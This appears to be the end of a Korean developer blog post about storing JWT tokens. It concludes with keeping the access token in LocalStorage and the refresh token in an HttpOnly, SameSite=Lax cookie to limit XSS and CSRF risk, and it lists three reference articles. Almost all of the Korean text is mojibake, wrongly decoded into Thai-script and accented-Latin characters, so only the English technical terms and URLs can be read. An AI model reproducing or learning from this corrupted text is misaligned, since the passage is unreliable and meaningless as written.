ํ•ด๋‹น ๋‚ด์šฉ๋“ค์„ ์ข…ํ•ฉํ•œ ๊ฒฐ๊ณผ์ด๋‹ค. (๋ฌผ๋ก  ๋‚ด๊ฐ€ ์กฐ์‚ฌํ•œ ๊ฒƒ์ด ๋‹ค๊ฐ€ ์•„๋‹ ์ˆ˜ ์žˆ๋‹ค.) 

 

๊ทธ๋Ÿฌ๋‚˜ ์ด์ œ๊นŒ์ง€์˜ ๋‚ด์šฉ์„ ํ† ๋Œ€๋กœ ์ •๋ฆฌ๋ฅผ ํ–ˆ์„ ๋•Œ, ๋‚˜๋Š” Access Token์€ LocalStorage์— ์ €์žฅํ•˜๊ณ , JWT์—๋Š” ์ „ํ™”๋ฒˆํ˜ธ์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ์ €์žฅํ•˜์ง€ ์•Š๊ณ , ๋งŒ๋ฃŒ์‹œ๊ฐ„์„ ๋‹ค์†Œ ์งง๊ฒŒ ์œ ์ง€ํ•˜๊ณ , Refresh Token์€ Cookie์— ์ €์žฅํ•˜๊ณ  HttpOnly ์˜ต์…˜๊ณผ Same-Site lax ์„ค์ •์„ ํ†ตํ•ด CSRF์™€ XSS์˜ ์œ„ํ—˜, ๋™์‹œ JWT ํƒˆ์ทจ์˜ ์œ„ํ—˜์„ ๋ฐฉ์ง€ํ•˜๋Š”๊ฒŒ ๋‚˜์„ ๊ฒƒ์ด๋ผ ์ƒ๊ฐํ•œ๋‹ค.  


์ฐธ๊ณ ์ž๋ฃŒ

https://velog.io/@haizel/XSS%EC%99%80CSRF-%EC%B0%A8%EC%9D%B4%EC%A0%90-%EB%B0%8F-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88

 

XSS์™€ CSRF ์ฐจ์ด์  ๋ฐ ๋Œ€์‘ ๋ฐฉ์•ˆ

์›น์‚ฌ์ดํŠธ์—์„œ ์˜๋„์น˜ ์•Š์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์–ด์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ธฐ๋ฒ•์„ ๋งํ•ฉ๋‹ˆ๋‹ค.์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ ๋ฐ›์€ ๊ฐ’์„ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๊ณ  ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ๋ฐœ์ƒํ•˜๋ฉฐ, ๊ฒฐ๊ณผ๋กœ ์‚ฌ์šฉ์ž๋Š” ์˜

velog.io

https://prolog.techcourse.co.kr/studylogs/2272

 

์šฐ์•„ํ•œํ…Œํฌ์ฝ”์Šค ํ•™์Šต๋กœ๊ทธ ์ €์žฅ์†Œ

์šฐ์•„ํ•œํ…Œํฌ์ฝ”์Šค ํฌ๋ฃจ๋“ค์ด ๋ฐฐ์šด ๋‚ด์šฉ์„ ๊ธฐ๋กํ•˜๋Š” ํ•™์Šต๋กœ๊ทธ ์ €์žฅ์†Œ์ž…๋‹ˆ๋‹ค.

prolog.techcourse.co.kr

https://cjw-awdsd.tistory.com/48

 

JWT ์ €์žฅ์†Œ์— ๋Œ€ํ•œ ๊ณ ๋ฏผ(feat. XSS, CSRF)

์ตœ๊ทผ REST API ์„œ๋ฒ„๋ฅผ ๊ตฌํ˜„ํ•˜๋ฉฐ Spring Security๋กœ JWT ์ธ์ฆ์„ ๊ตฌํ˜„ํ–ˆ๋‹ค. Access_Token, Refresh_Token์„ ์–ด๋””๋‹ค ์ €์žฅํ• ์ง€์— ๋Œ€ํ•ด ๊ณ ๋ฏผํ•˜๋‹ค CSRF์— ๋Œ€ํ•œ ๊ธ๊ธˆ์ฆ๊นŒ์ง€ ์ƒ๊ธฐ๊ฒŒ ๋˜์–ด ๊ณต๋ถ€๋ฅผ ํ–ˆ๋‹ค. ์ด๋ฒˆ ํฌ์ŠคํŒ…์€ JWT์—

cjw-awdsd.tistory.com